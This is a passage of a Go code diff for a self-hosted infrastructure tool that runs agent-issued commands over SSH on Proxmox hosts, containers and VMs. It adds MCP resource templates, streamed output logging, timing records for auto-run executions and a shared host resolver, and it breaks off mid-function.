for _, cmd := range []string{"pct list", "qm list"} {
|
||||||
|
out, eerr := sshExecStream(ctx, et.Host, et.User, et.Wrap(cmd),
|
||||||
|
execlog.Sink(func(string, []byte) {}))
|
||||||
|
if eerr != nil {
|
||||||
|
hostErrors[hs+" "+cmd] = eerr.Error()
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
scanIDs(out, hs, live)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 4. diff.
|
||||||
|
var missing, ghost []string
|
||||||
|
for id, hn := range live {
|
||||||
|
if _, ok := dbGuests[id]; !ok {
|
||||||
|
missing = append(missing, id+" on "+hn)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
for id, g := range dbGuests {
|
||||||
|
if _, ok := live[id]; !ok {
|
||||||
|
ghost = append(ghost, g.Slug+" (pve_id="+id+")")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return map[string]any{
|
||||||
|
"hosts_queried": len(hosts),
|
||||||
|
"live_guests": len(live),
|
||||||
|
"db_guests": len(dbGuests),
|
||||||
|
"missing_entities": missing, // in Proxmox, no DB entity
|
||||||
|
"ghost_entities": ghost, // in DB, not live in Proxmox
|
||||||
|
"host_errors": hostErrors,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// scanIDs parses `pct list` / `qm list` output (VMID ... Name) into the live map.
|
||||||
|
func scanIDs(output, hostSlug string, live map[string]string) {
|
||||||
|
sc := bufio.NewScanner(strings.NewReader(output))
|
||||||
|
for sc.Scan() {
|
||||||
|
line := strings.TrimSpace(sc.Text())
|
||||||
|
if line == "" || strings.HasPrefix(strings.ToLower(line), "vmid") {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
fields := strings.Fields(line)
|
||||||
|
if len(fields) < 2 {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
id := fields[0]
|
||||||
|
name := ""
|
||||||
|
if len(fields) >= 4 {
|
||||||
|
name = fields[len(fields)-1] // pct: last col is name; qm: name near end
|
||||||
|
}
|
||||||
|
live[id] = hostSlug + ":" + name
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -5,7 +5,6 @@ package mcp
|
|||||||
import (
|
import (
|
||||||
"bytes"
|
"bytes"
|
||||||
"context"
|
"context"
|
||||||
"encoding/base64"
|
|
||||||
"encoding/json"
|
"encoding/json"
|
||||||
"fmt"
|
"fmt"
|
||||||
"html"
|
"html"
|
||||||
@@ -22,8 +21,10 @@ import (
|
|||||||
|
|
||||||
"github.com/dtoro/oikos/internal/db"
|
"github.com/dtoro/oikos/internal/db"
|
||||||
"github.com/dtoro/oikos/internal/db/sqlcgen"
|
"github.com/dtoro/oikos/internal/db/sqlcgen"
|
||||||
|
"github.com/dtoro/oikos/internal/execlog"
|
||||||
"github.com/dtoro/oikos/internal/observability"
|
"github.com/dtoro/oikos/internal/observability"
|
||||||
"github.com/dtoro/oikos/internal/policy"
|
"github.com/dtoro/oikos/internal/policy"
|
||||||
|
"github.com/dtoro/oikos/internal/remote"
|
||||||
"github.com/google/jsonschema-go/jsonschema"
|
"github.com/google/jsonschema-go/jsonschema"
|
||||||
"github.com/google/uuid"
|
"github.com/google/uuid"
|
||||||
"github.com/modelcontextprotocol/go-sdk/mcp"
|
"github.com/modelcontextprotocol/go-sdk/mcp"
|
||||||
@@ -71,9 +72,121 @@ func newServer(pool *db.Pool, agentID uuid.UUID) *mcp.Server {
|
|||||||
for _, t := range allTools(pool, agentID) {
|
for _, t := range allTools(pool, agentID) {
|
||||||
s.AddTool(t.tool, withActivityLogging(pool, agentID, t.tool.Name, t.handler))
|
s.AddTool(t.tool, withActivityLogging(pool, agentID, t.tool.Name, t.handler))
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Resource templates: let MCP clients browse and attach entities,
|
||||||
|
// knowledge entries, and executions as conversation resources.
|
||||||
|
s.AddResourceTemplate(&mcp.ResourceTemplate{
|
||||||
|
URITemplate: "oikos://entity/{slug}",
|
||||||
|
Name: "Entity",
|
||||||
|
Description: "Oikos entity by slug (e.g. host:hubris, lxc:jellyfin)",
|
||||||
|
MIMEType: "application/json",
|
||||||
|
}, resourceHandler(pool, func(ctx context.Context, matches map[string]string) (string, error) {
|
||||||
|
slug := matches["slug"]
|
||||||
|
var id uuid.UUID
|
||||||
|
if u, err := uuid.Parse(slug); err == nil {
|
||||||
|
id = u
|
||||||
|
} else {
|
||||||
|
pool.QueryRow(ctx, "SELECT id FROM entities WHERE slug = $1", slug).Scan(&id)
|
||||||
|
}
|
||||||
|
if id == uuid.Nil {
|
||||||
|
return "", fmt.Errorf("entity not found: %s", slug)
|
||||||
|
}
|
||||||
|
result := queryEntity(ctx, pool, slug)
|
||||||
|
return result.Content[0].(*mcp.TextContent).Text, nil
|
||||||
|
}))
|
||||||
|
|
||||||
|
s.AddResourceTemplate(&mcp.ResourceTemplate{
|
||||||
|
URITemplate: "oikos://knowledge/{id}",
|
||||||
|
Name: "Knowledge",
|
||||||
|
Description: "Knowledge entry by entity slug or UUID",
|
||||||
|
MIMEType: "application/json",
|
||||||
|
}, resourceHandler(pool, func(ctx context.Context, matches map[string]string) (string, error) {
|
||||||
|
idOrSlug := matches["id"]
|
||||||
|
var entityID uuid.UUID
|
||||||
|
if u, err := uuid.Parse(idOrSlug); err == nil {
|
||||||
|
entityID = u
|
||||||
|
} else {
|
||||||
|
pool.QueryRow(ctx, "SELECT id FROM entities WHERE slug = $1", idOrSlug).Scan(&entityID)
|
||||||
|
}
|
||||||
|
if entityID == uuid.Nil {
|
||||||
|
return "", fmt.Errorf("knowledge not found: %s", idOrSlug)
|
||||||
|
}
|
||||||
|
result := queryRows(ctx, pool, `
|
||||||
|
SELECT ke.title, ke.content, ke.tags::text, e.slug, e.type AS kind,
|
||||||
|
ke.updated_at::text
|
||||||
|
FROM knowledge_entities ke
|
||||||
|
JOIN entities e ON e.id = ke.entity_id
|
||||||
|
WHERE ke.entity_id = $1`, entityID)
|
||||||
|
return result.Content[0].(*mcp.TextContent).Text, nil
|
||||||
|
}))
|
||||||
|
|
||||||
|
s.AddResourceTemplate(&mcp.ResourceTemplate{
|
||||||
|
URITemplate: "oikos://execution/{id}",
|
||||||
|
Name: "Execution",
|
||||||
|
Description: "Execution by UUID (returns status, result, timing)",
|
||||||
|
MIMEType: "application/json",
|
||||||
|
}, resourceHandler(pool, func(ctx context.Context, matches map[string]string) (string, error) {
|
||||||
|
result := queryRows(ctx, pool, `
|
||||||
|
SELECT e.entity_id, te.slug AS target, e.action, e.risk_class,
|
||||||
|
e.status, e.result::text, e.duration_ms,
|
||||||
|
e.started_at::text, e.completed_at::text
|
||||||
|
FROM executions e
|
||||||
|
JOIN entities te ON te.id = e.target_entity_id
|
||||||
|
WHERE e.entity_id = $1`, matches["id"])
|
||||||
|
return result.Content[0].(*mcp.TextContent).Text, nil
|
||||||
|
}))
|
||||||
|
|
||||||
return s
|
return s
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// resourceHandler adapts a simple func(ctx, params) → (string, error) into
|
||||||
|
// an MCP ResourceHandler, reading the URI matched by a ResourceTemplate.
|
||||||
|
func resourceHandler(pool *db.Pool, fn func(ctx context.Context, matches map[string]string) (string, error)) mcp.ResourceHandler {
|
||||||
|
return func(ctx context.Context, req *mcp.ReadResourceRequest) (*mcp.ReadResourceResult, error) {
|
||||||
|
uri := req.Params.URI
|
||||||
|
matches := matchURITemplate(uri)
|
||||||
|
if matches == nil {
|
||||||
|
return nil, mcp.ResourceNotFoundError(uri)
|
||||||
|
}
|
||||||
|
|
||||||
|
text, err := fn(ctx, matches)
|
||||||
|
if err != nil {
|
||||||
|
return nil, mcp.ResourceNotFoundError(uri)
|
||||||
|
}
|
||||||
|
|
||||||
|
result, err := json.MarshalIndent(json.RawMessage(text), "", " ")
|
||||||
|
if err != nil {
|
||||||
|
result = []byte(text)
|
||||||
|
}
|
||||||
|
|
||||||
|
return &mcp.ReadResourceResult{
|
||||||
|
Contents: []*mcp.ResourceContents{{
|
||||||
|
URI: uri,
|
||||||
|
MIMEType: "application/json",
|
||||||
|
Text: string(result),
|
||||||
|
}},
|
||||||
|
}, nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// matchURITemplate extracts parameters from a URI that matches one of the
|
||||||
|
// oikos:// resource templates. Returns nil if the URI doesn't match.
|
||||||
|
func matchURITemplate(uri string) map[string]string {
|
||||||
|
// oikos://entity/{slug}
|
||||||
|
if rest, ok := strings.CutPrefix(uri, "oikos://entity/"); ok && rest != "" {
|
||||||
|
return map[string]string{"slug": rest}
|
||||||
|
}
|
||||||
|
// oikos://knowledge/{id}
|
||||||
|
if rest, ok := strings.CutPrefix(uri, "oikos://knowledge/"); ok && rest != "" {
|
||||||
|
return map[string]string{"id": rest}
|
||||||
|
}
|
||||||
|
// oikos://execution/{id}
|
||||||
|
if rest, ok := strings.CutPrefix(uri, "oikos://execution/"); ok && rest != "" {
|
||||||
|
return map[string]string{"id": rest}
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
// withActivityLogging wraps a tool handler to record agent_activity rows.
|
// withActivityLogging wraps a tool handler to record agent_activity rows.
|
||||||
func withActivityLogging(pool *db.Pool, agentID uuid.UUID, toolName string, next mcp.ToolHandler) mcp.ToolHandler {
|
func withActivityLogging(pool *db.Pool, agentID uuid.UUID, toolName string, next mcp.ToolHandler) mcp.ToolHandler {
|
||||||
if agentID == uuid.Nil {
|
if agentID == uuid.Nil {
|
||||||
@@ -329,7 +442,37 @@ func initSSH() {
|
|||||||
// goroutine forever with no way for the caller to ever get an answer.
|
// goroutine forever with no way for the caller to ever get an answer.
|
||||||
const sshExecTimeout = 10 * time.Minute
|
const sshExecTimeout = 10 * time.Minute
|
||||||
|
|
||||||
|
// streamWriter buffers everything it is given while forwarding each write to a
|
||||||
|
// sink. Assigning one to session.Stdout and another (sharing the same buffer)
|
||||||
|
// to session.Stderr reproduces CombinedOutput's interleaving exactly, in the
|
||||||
|
// order the remote end actually produced it — which reading from StdoutPipe
|
||||||
|
// and StderrPipe separately would not guarantee.
|
||||||
|
type streamWriter struct {
|
||||||
|
mu *sync.Mutex
|
||||||
|
buf *bytes.Buffer
|
||||||
|
stream string
|
||||||
|
sink execlog.Sink
|
||||||
|
}
|
||||||
|
|
||||||
|
func (w *streamWriter) Write(p []byte) (int, error) {
|
||||||
|
w.mu.Lock()
|
||||||
|
w.buf.Write(p)
|
||||||
|
w.mu.Unlock()
|
||||||
|
if w.sink != nil {
|
||||||
|
// Copy: the ssh library reuses p after Write returns, and the sink
|
||||||
|
// hands the bytes to a DB call that may outlive this frame.
|
||||||
|
w.sink(w.stream, append([]byte(nil), p...))
|
||||||
|
}
|
||||||
|
return len(p), nil
|
||||||
|
}
|
||||||
|
|
||||||
func sshExec(ctx context.Context, host, user, command string) (string, error) {
|
func sshExec(ctx context.Context, host, user, command string) (string, error) {
|
||||||
|
return sshExecStream(ctx, host, user, command, nil)
|
||||||
|
}
|
||||||
|
|
||||||
|
// sshExecStream runs a command and reports its combined output, forwarding
|
||||||
|
// each chunk to sink as it arrives. A nil sink behaves exactly as before.
|
||||||
|
func sshExecStream(ctx context.Context, host, user, command string, sink execlog.Sink) (string, error) {
|
||||||
initSSH()
|
initSSH()
|
||||||
if len(sshKey) == 0 {
|
if len(sshKey) == 0 {
|
||||||
return "", fmt.Errorf("no SSH key available")
|
return "", fmt.Errorf("no SSH key available")
|
||||||
@@ -363,16 +506,28 @@ func sshExec(ctx context.Context, host, user, command string) (string, error) {
|
|||||||
}
|
}
|
||||||
defer session.Close()
|
defer session.Close()
|
||||||
|
|
||||||
type result struct {
|
var (
|
||||||
out []byte
|
mu sync.Mutex
|
||||||
err error
|
buf bytes.Buffer
|
||||||
|
)
|
||||||
|
session.Stdout = &streamWriter{mu: &mu, buf: &buf, stream: "stdout", sink: sink}
|
||||||
|
session.Stderr = &streamWriter{mu: &mu, buf: &buf, stream: "stderr", sink: sink}
|
||||||
|
|
||||||
|
// collected returns whatever output has arrived so far. Callable while the
|
||||||
|
// command is still running, which is what makes partial output on timeout
|
||||||
|
// possible.
|
||||||
|
collected := func() string {
|
||||||
|
mu.Lock()
|
||||||
|
defer mu.Unlock()
|
||||||
|
return strings.TrimSpace(buf.String())
|
||||||
}
|
}
|
||||||
done := make(chan result, 1)
|
|
||||||
|
done := make(chan error, 1)
|
||||||
go func() {
|
go func() {
|
||||||
// Recovers a panic in CombinedOutput (SSH library internals, rare but
|
// Recovers a panic in the SSH library internals (rare but not
|
||||||
// not impossible) and reports it as a failed command instead of
|
// impossible) and reports it as a failed command instead of crashing
|
||||||
// crashing the whole api process — every gated action runs through
|
// the whole api process — every gated action runs through this
|
||||||
// this function, so an unrecovered panic here would take down every
|
// function, so an unrecovered panic here would take down every
|
||||||
// concurrently-running task's execution, not just this one. Without
|
// concurrently-running task's execution, not just this one. Without
|
||||||
// this, a panic would ALSO silently degrade to "wait out the full
|
// this, a panic would ALSO silently degrade to "wait out the full
|
||||||
// timeout" (done never receives, the select below falls through to
|
// timeout" (done never receives, the select below falls through to
|
||||||
@@ -381,64 +536,49 @@ func sshExec(ctx context.Context, host, user, command string) (string, error) {
|
|||||||
// finds out now, not after sshExecTimeout.
|
// finds out now, not after sshExecTimeout.
|
||||||
defer func() {
|
defer func() {
|
||||||
if r := recover(); r != nil {
|
if r := recover(); r != nil {
|
||||||
done <- result{nil, fmt.Errorf("panic in ssh exec: %v", r)}
|
done <- fmt.Errorf("panic in ssh exec: %v", r)
|
||||||
}
|
}
|
||||||
}()
|
}()
|
||||||
out, err := session.CombinedOutput(command)
|
// Run rather than CombinedOutput so the assigned writers are used;
|
||||||
done <- result{out, err}
|
// Run returns only after both streams have been fully drained.
|
||||||
|
done <- session.Run(command)
|
||||||
}()
|
}()
|
||||||
|
|
||||||
select {
|
select {
|
||||||
case r := <-done:
|
case err := <-done:
|
||||||
text := strings.TrimSpace(string(r.out))
|
text := collected()
|
||||||
// A non-zero exit MUST surface as an error — matching the fix
|
// A non-zero exit MUST surface as an error — matching the fix
|
||||||
// applied to httpapi's sshExec (this copy still had the original
|
// applied to httpapi's sshExec (this copy still had the original
|
||||||
// bug: only erroring when there was no output at all, so a command
|
// bug: only erroring when there was no output at all, so a command
|
||||||
// that failed but printed something was silently reported as
|
// that failed but printed something was silently reported as
|
||||||
// success).
|
// success).
|
||||||
if r.err != nil {
|
if err != nil {
|
||||||
if text != "" {
|
if text != "" {
|
||||||
return text, fmt.Errorf("%w: %s", r.err, text)
|
return text, fmt.Errorf("%w: %s", err, text)
|
||||||
}
|
}
|
||||||
return text, fmt.Errorf("exec: %w", r.err)
|
return text, fmt.Errorf("exec: %w", err)
|
||||||
}
|
}
|
||||||
return text, nil
|
return text, nil
|
||||||
case <-time.After(sshExecTimeout):
|
case <-time.After(sshExecTimeout):
|
||||||
session.Close()
|
session.Close()
|
||||||
client.Close()
|
client.Close()
|
||||||
return "", fmt.Errorf("timed out after %s waiting for command to finish on %s", sshExecTimeout, host)
|
// Return what the command managed to print before it hung. This used
|
||||||
|
// to return "", discarding everything — so a hung command, the case
|
||||||
|
// where the output matters most, was the one case that left no trace.
|
||||||
|
return collected(), fmt.Errorf("timed out after %s waiting for command to finish on %s", sshExecTimeout, host)
|
||||||
case <-ctx.Done():
|
case <-ctx.Done():
|
||||||
session.Close()
|
session.Close()
|
||||||
client.Close()
|
client.Close()
|
||||||
return "", ctx.Err()
|
return collected(), ctx.Err()
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func resolveHost(ctx context.Context, pool *db.Pool, entitySlug string) (hostIP string, sshUser string, err error) {
|
// resolveHost resolves a host:<slug> to its reachable IP and SSH user. A thin
|
||||||
var attrs string
|
// wrapper over the shared resolver (internal/remote), kept so slug-based
|
||||||
err = pool.QueryRow(ctx, "SELECT attributes::text FROM entities WHERE slug = $1", entitySlug).Scan(&attrs)
|
// callers keep working; the shared resolver also prefers public_ipv4 over
|
||||||
if err != nil {
|
// mesh and honors a per-entity ssh.user.
|
||||||
return "", "", fmt.Errorf("entity not found: %s", entitySlug)
|
func resolveHost(ctx context.Context, pool *db.Pool, entitySlug string) (hostIP string, sshUserOut string, err error) {
|
||||||
}
|
return remote.ResolveHost(ctx, pool, entitySlug, sshUser)
|
||||||
|
|
||||||
var m map[string]interface{}
|
|
||||||
if err := json.Unmarshal([]byte(attrs), &m); err != nil {
|
|
||||||
return "", "", fmt.Errorf("parse attributes: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
if ip, ok := m["lan_ip"].(string); ok && ip != "" {
|
|
||||||
return ip, sshUser, nil
|
|
||||||
}
|
|
||||||
if mesh, ok := m["mesh"].(map[string]interface{}); ok {
|
|
||||||
for _, proto := range []string{"netbird", "tailscale"} {
|
|
||||||
if p, ok := mesh[proto].(map[string]interface{}); ok {
|
|
||||||
if ip, ok := p["ip"].(string); ok && ip != "" {
|
|
||||||
return ip, sshUser, nil
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return "", "", fmt.Errorf("no IP found for %s", entitySlug)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// htmlTagRe strips HTML tags for the naive text extraction in httpGet.
|
// htmlTagRe strips HTML tags for the naive text extraction in httpGet.
|
||||||
@@ -517,109 +657,28 @@ func isPrivateHost(host string) bool {
|
|||||||
// connection: identity for a host, `pct exec <pve_id> -- ...` for an LXC,
|
// connection: identity for a host, `pct exec <pve_id> -- ...` for an LXC,
|
||||||
// `qm guest exec <pve_id> -- ...` for a VM.
|
// `qm guest exec <pve_id> -- ...` for a VM.
|
||||||
//
|
//
|
||||||
// The lxc.attributes.host value is stored WITHOUT a "host:" prefix (e.g.
|
// Delegates to the shared resolver (internal/remote), the single path used by
|
||||||
// "strong", not "host:strong") — see pct_create's entity registration. The
|
// both the MCP `run` tool and the scheduler's checks. The historical notes
|
||||||
// pre-existing pct_exec handler queried resolveHost with that bare value
|
// (host attr without prefix, vm host-resolution chain, nested-quoting
|
||||||
// directly, which can never match a "host:*" slug and always fails; this
|
// handling via base64) all still hold — they now live in remote.guestWrap.
|
||||||
// prefixes it correctly.
|
|
||||||
//
|
|
||||||
// vm: support (2026-07-18): VMs in inventory.yaml carry `pve_id` and a `host`
|
|
||||||
// attribute (or a `hosts` relationship) just like LXCs, but they're reached
|
|
||||||
// via `qm guest exec` instead of `pct exec`. Previously the agent had to
|
|
||||||
// SSH-hop via `host:hubris` to reach a VM (e.g. `ssh root@<vm_ip> '...'`),
|
|
||||||
// which broke on nested shell quoting and forced manual escaping workarounds
|
|
||||||
// — see plans/2026-07-18-session-review-three-sessions.md P1.6. A VM's
|
|
||||||
// `host` attribute is optional: if absent, fall back to looking up the
|
|
||||||
// `hosts` relationship on the VM entity, then to hubris (the documented
|
|
||||||
// default Proxmox host) — same fallback chain as LXCs.
|
|
||||||
func resolveExecTarget(ctx context.Context, pool *db.Pool, targetSlug string) (host, user string, wrap func(cmd string) string, err error) {
|
func resolveExecTarget(ctx context.Context, pool *db.Pool, targetSlug string) (host, user string, wrap func(cmd string) string, err error) {
|
||||||
if strings.HasPrefix(targetSlug, "host:") {
|
et, err := remote.ResolveExecTarget(ctx, pool, targetSlug, sshUser)
|
||||||
host, user, err = resolveHost(ctx, pool, targetSlug)
|
if err != nil {
|
||||||
return host, user, func(cmd string) string { return cmd }, err
|
return "", "", nil, err
|
||||||
}
|
}
|
||||||
if strings.HasPrefix(targetSlug, "lxc:") {
|
return et.Host, et.User, et.Wrap, nil
|
||||||
var pveID, hostAttr string
|
|
||||||
// COALESCE the host column: many older LXC entities (seeded from
|
|
||||||
// inventory, not provisioned by pct_create) have pve_id but no host
|
|
||||||
// attribute at all. Scanning a SQL NULL into a plain string errors
|
|
||||||
// the whole row, wrongly reporting "missing pve_id" even when it was
|
|
||||||
// present — COALESCE avoids the NULL, "" is handled below.
|
|
||||||
if qerr := pool.QueryRow(ctx, "SELECT attributes->>'pve_id', COALESCE(attributes->>'host', '') FROM entities WHERE slug = $1", targetSlug).Scan(&pveID, &hostAttr); qerr != nil || pveID == "" {
|
|
||||||
return "", "", nil, fmt.Errorf("LXC not found or missing pve_id: %s", targetSlug)
|
|
||||||
}
|
|
||||||
hostSlug := resolveProxmoxHostSlug(ctx, pool, targetSlug, hostAttr)
|
|
||||||
host, user, err = resolveHost(ctx, pool, hostSlug)
|
|
||||||
id := pveID
|
|
||||||
return host, user, func(cmd string) string {
|
|
||||||
b64 := base64.StdEncoding.EncodeToString([]byte(cmd))
|
|
||||||
return fmt.Sprintf("pct exec %s -- bash -c 'echo %s | base64 -d | bash'", id, b64)
|
|
||||||
}, err
|
|
||||||
}
|
|
||||||
if strings.HasPrefix(targetSlug, "vm:") {
|
|
||||||
// VMs: same host-resolution chain as LXCs (attributes.host →
|
|
||||||
// `hosts` relationship → hubris default), but reached via
|
|
||||||
// `qm guest exec` instead of `pct exec`. Requires the QEMU
|
|
||||||
// guest agent running inside the VM (the standard Proxmox
|
|
||||||
// setup; ZimaOS/HAOS in this fleet already have it).
|
|
||||||
var pveID, hostAttr string
|
|
||||||
if qerr := pool.QueryRow(ctx, "SELECT attributes->>'pve_id', COALESCE(attributes->>'host', '') FROM entities WHERE slug = $1", targetSlug).Scan(&pveID, &hostAttr); qerr != nil || pveID == "" {
|
|
||||||
return "", "", nil, fmt.Errorf("VM not found or missing pve_id: %s", targetSlug)
|
|
||||||
}
|
|
||||||
hostSlug := resolveProxmoxHostSlug(ctx, pool, targetSlug, hostAttr)
|
|
||||||
host, user, err = resolveHost(ctx, pool, hostSlug)
|
|
||||||
id := pveID
|
|
||||||
return host, user, func(cmd string) string {
|
|
||||||
b64 := base64.StdEncoding.EncodeToString([]byte(cmd))
|
|
||||||
// `qm guest exec <id> -- /bin/bash -c '...'` returns JSON by
|
|
||||||
// default; pipe through `jq -r .out` if available, else cat.
|
|
||||||
// The base64 round-trip mirrors the LXC path so nested quoting
|
|
||||||
// (the original VM-target pain point — session 55927f0a) is
|
|
||||||
// handled identically to LXC dispatch.
|
|
||||||
return fmt.Sprintf(
|
|
||||||
"qm guest exec %s -- /bin/bash -c 'echo %s | base64 -d | bash' | jq -r '.out // .err // empty' 2>/dev/null || qm guest exec %s -- /bin/bash -c 'echo %s | base64 -d | bash'",
|
|
||||||
id, b64, id, b64)
|
|
||||||
}, err
|
|
||||||
}
|
|
||||||
return "", "", nil, fmt.Errorf("unsupported target %q: must be host:<slug>, lxc:<slug>, or vm:<slug>", targetSlug)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// resolveProxmoxHostSlug resolves the Proxmox host slug that owns a given
|
// resolveProxmoxHostSlug resolves the Proxmox host slug that owns a given
|
||||||
// LXC/VM target. Resolution order:
|
// LXC/VM target (see internal/remote.ResolveProxmoxHostSlug for the chain).
|
||||||
// 1. hostAttr if non-empty (the entity's attributes.host — stored without
|
// This slug-based wrapper looks up the entity id so slug callers keep working;
|
||||||
// "host:" prefix in inventory.yaml and pct_create).
|
// the shared resolver takes an id directly.
|
||||||
// 2. the `hosts` relationship on the entity (e.g. host:hubris → vm:zimaos),
|
|
||||||
// looked up in the relationships table — the canonical graph source.
|
|
||||||
// 3. "hubris" as a documented default Proxmox host fallback.
|
|
||||||
//
|
|
||||||
// Returns a slug with the "host:" prefix attached, ready for resolveHost.
|
|
||||||
// Extracted from the inline LXC path (2026-07-18) so the VM path shares the
|
|
||||||
// same chain — see plans/2026-07-18-session-review-three-sessions.md P1.6.
|
|
||||||
func resolveProxmoxHostSlug(ctx context.Context, pool *db.Pool, entitySlug, hostAttr string) string {
|
func resolveProxmoxHostSlug(ctx context.Context, pool *db.Pool, entitySlug, hostAttr string) string {
|
||||||
hostSlug := strings.TrimSpace(hostAttr)
|
var id uuid.UUID
|
||||||
if hostSlug == "" {
|
if err := pool.QueryRow(ctx, "SELECT id FROM entities WHERE slug = $1", entitySlug).Scan(&id); err != nil {
|
||||||
// Fall back to the `hosts` relationship — the graph edge from
|
id = uuid.Nil
|
||||||
// the Proxmox host to this LXC/VM. This is the canonical source
|
|
||||||
// for "who owns this VM" in inventory.yaml; the `host` attribute
|
|
||||||
// is a denormalized shortcut that not every entity has.
|
|
||||||
var relHostSlug string
|
|
||||||
// hosts relationship: source=host, target=lxc/vm. Look up the
|
|
||||||
// source slug given the target.
|
|
||||||
if err := pool.QueryRow(ctx, `
|
|
||||||
SELECT e.slug FROM relationships r
|
|
||||||
JOIN entities e ON e.id = r.source_id
|
|
||||||
WHERE r.target_id = (SELECT id FROM entities WHERE slug = $1)
|
|
||||||
AND r.type = 'hosts' AND r.valid_to IS NULL
|
|
||||||
LIMIT 1`, entitySlug).Scan(&relHostSlug); err == nil && relHostSlug != "" {
|
|
||||||
hostSlug = relHostSlug
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
if hostSlug == "" {
|
return remote.ResolveProxmoxHostSlug(ctx, pool, id, hostAttr)
|
||||||
hostSlug = "hubris" // documented default Proxmox host when unset
|
|
||||||
}
|
|
||||||
if !strings.HasPrefix(hostSlug, "host:") {
|
|
||||||
hostSlug = "host:" + hostSlug
|
|
||||||
}
|
|
||||||
return hostSlug
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// classifyAndGate is the shared classify→execute-or-queue path for every
|
// classifyAndGate is the shared classify→execute-or-queue path for every
|
||||||
@@ -631,6 +690,140 @@ func resolveProxmoxHostSlug(ctx context.Context, pool *db.Pool, entitySlug, host
|
|||||||
// fleet's reverse proxy) executed instantly with no approval at all. Routing
|
// fleet's reverse proxy) executed instantly with no approval at all. Routing
|
||||||
// every mutating path through the same classifier + approval-queue logic
|
// every mutating path through the same classifier + approval-queue logic
|
||||||
// closes that gap without special-casing each caller.
|
// closes that gap without special-casing each caller.
|
||||||
|
// autoRun resolves a target, runs the command, and finalizes the execution
|
||||||
|
// with full timing.
|
||||||
|
//
|
||||||
|
// The three auto-run windows (read-only, assent, destructive) each carried
|
||||||
|
// their own copy of this logic, and none of them wrote duration_ms, started_at
|
||||||
|
// or completed_at — so every auto-run execution landed in the ledger with no
|
||||||
|
// timing at all, and the Ops "Duration" column was empty for exactly the
|
||||||
|
// executions that run most often.
|
||||||
|
func autoRun(ctx context.Context, pool *db.Pool, id uuid.UUID, targetSlug, command string) (string, error) {
|
||||||
|
startedAt := time.Now()
|
||||||
|
if _, err := pool.Exec(ctx,
|
||||||
|
`UPDATE executions SET status='running', started_at=$2 WHERE entity_id=$1`,
|
||||||
|
id, startedAt); err != nil {
|
||||||
|
slog.Error("mcp: mark execution running", "error", err, "execution_id", id)
|
||||||
|
}
|
||||||
|
|
||||||
|
finalize := func(status string, result []byte) {
|
||||||
|
if _, err := pool.Exec(ctx,
|
||||||
|
`UPDATE executions SET status=$2, result=$3::jsonb, duration_ms=$4,
|
||||||
|
started_at=$5, completed_at=now()
|
||||||
|
WHERE entity_id=$1`,
|
||||||
|
id, status, result, int(time.Since(startedAt).Milliseconds()), startedAt); err != nil {
|
||||||
|
slog.Error("mcp: finalize execution", "error", err, "execution_id", id)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
host, user, wrap, err := resolveExecTarget(ctx, pool, targetSlug)
|
||||||
|
if err != nil {
|
||||||
|
finalize("failed", jsonErr("%s", err.Error()))
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
|
||||||
|
var correlationID string
|
||||||
|
if qerr := pool.QueryRow(ctx,
|
||||||
|
`SELECT correlation_id FROM executions WHERE entity_id = $1`, id).Scan(&correlationID); qerr != nil {
|
||||||
|
correlationID = ""
|
||||||
|
}
|
||||||
|
sink, flush := execlog.New(ctx, pool, id, correlationID)
|
||||||
|
|
||||||
|
out, err := sshExecStream(ctx, host, user, wrap(command), sink)
|
||||||
|
flush()
|
||||||
|
if err != nil {
|
||||||
|
finalize("failed", jsonErr("%s: %s", err.Error(), out))
|
||||||
|
return out, err
|
||||||
|
}
|
||||||
|
|
||||||
|
finalize("completed", jsonOut(out))
|
||||||
|
return out, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// autoRunAsync starts a command in a goroutine, marking it running and returning
|
||||||
|
// immediately. The caller gets an execution_id to poll with get_execution_status.
|
||||||
|
// Used for commands containing sleep/wait/poll loops that would exceed the MCP
|
||||||
|
// client timeout (120s) — the execution continues server-side.
|
||||||
|
func autoRunAsync(ctx context.Context, pool *db.Pool, id uuid.UUID, targetSlug, command string) {
|
||||||
|
startedAt := time.Now()
|
||||||
|
if _, err := pool.Exec(ctx,
|
||||||
|
`UPDATE executions SET status='running', started_at=$2 WHERE entity_id=$1`,
|
||||||
|
id, startedAt); err != nil {
|
||||||
|
slog.Error("mcp: mark execution running (async)", "error", err, "execution_id", id)
|
||||||
|
}
|
||||||
|
|
||||||
|
host, user, wrap, err := resolveExecTarget(ctx, pool, targetSlug)
|
||||||
|
if err != nil {
|
||||||
|
pool.Exec(ctx,
|
||||||
|
`UPDATE executions SET status='failed', result=$2::jsonb, duration_ms=$3, completed_at=now() WHERE entity_id=$1`,
|
||||||
|
id, jsonErr("%s", err.Error()), int(time.Since(startedAt).Milliseconds()))
|
||||||
|
slog.Error("mcp: async run resolve target", "error", err, "execution_id", id, "target", targetSlug)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
var correlationID string
|
||||||
|
if qerr := pool.QueryRow(ctx,
|
||||||
|
`SELECT correlation_id FROM executions WHERE entity_id = $1`, id).Scan(&correlationID); qerr != nil {
|
||||||
|
correlationID = ""
|
||||||
|
}
|
||||||
|
|
||||||
|
go func() {
|
||||||
|
defer func() {
|
||||||
|
if r := recover(); r != nil {
|
||||||
|
